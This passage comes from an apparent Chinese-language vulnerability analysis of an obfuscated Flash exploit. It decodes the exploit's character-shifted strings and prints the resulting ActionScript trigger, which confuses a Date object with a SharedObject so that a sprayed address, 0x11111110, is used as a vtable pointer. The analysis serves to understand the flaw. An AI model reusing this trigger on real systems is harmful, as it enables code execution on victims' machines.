符串为"VkduhgRemhfw1surwrw|sh" and "Gdwh1surwrw|sh"。通过分析反编译代码我们观察
到,在进一步使用之前,常量"VkduhgRemhfw1surwrw|sh"在调用内部声明函数 "default"
时被当作参数传入。如下所示:
constants 'String', 'length', 'charCodeAt', 'fromCharCode', 'charAt', 'case',
'TextFormat', 'size', 'c_fun',
'VkduhgRemhfw1surwrw|sh', 'default',...
...
push c:8, c:9, 1, c:10 //c:9 is "VkduhgRemhfw1surwrw|sh" and c:10 is "default"
callFunction
The "default" function transforms an input string by subtracting 3 from each
of its characters.
push r:3, r:1, 1, r:2, c:2 //String.charCodeAt
callMethod
push 3
subtract //String.charCodeAt(i) - 3
push 1, c:0 //String
getVariable
push c:3 //fromCharCode
callMethod
add
setRegister r:3
...
push r:3
return
在运行对这两个加密常量的解密过程之后,我们得到了字符串
"SharedObject.prototype" 和 "Date.prototype"。这样我们就可以删除掉加密的函数和各
种其他的指令,从而进一步精简代码。
最终,我们可以删除掉超过 250 行的容易汇编代码,得到下面的 actionscript 反编译
代码:
Date.prototype.c_fun = SharedObject.prototype.getSize;
Date.prototype.getDay = function () {
this.c_fun();
};
var eval(0) = new Date(1.41466385537348e-315);
(eval(0)).getDay();
进一步的漏洞分析表明:这个漏洞发生在函数SharedObject.prototype.getSize() 中。通
过这个函数,我们给Date类扩展了一个传统的函数。当我们用数值1.41466385537348e-315
来初始化这个类时,这个值处理后在内存中保存为 0x11111110 。0x11111110 是一个很适
合喷射的地址。
随后,类成员函数 Date.c_fun()(即通过SharedObject.prototype.getSize()扩展得
来)被调用,c_fun 错误的将传过来的对象解释为 SharedObject 类型,而在这个类型中,
会把 0x11111110当作一个虚函数表的指针来调用。
总之,这个漏洞分析代码被很大程度的混淆而且事实上也很有趣。在从swf的源代码中
编译出来后,swf文件并不需要任何 ActionScript bytecode的修改。
|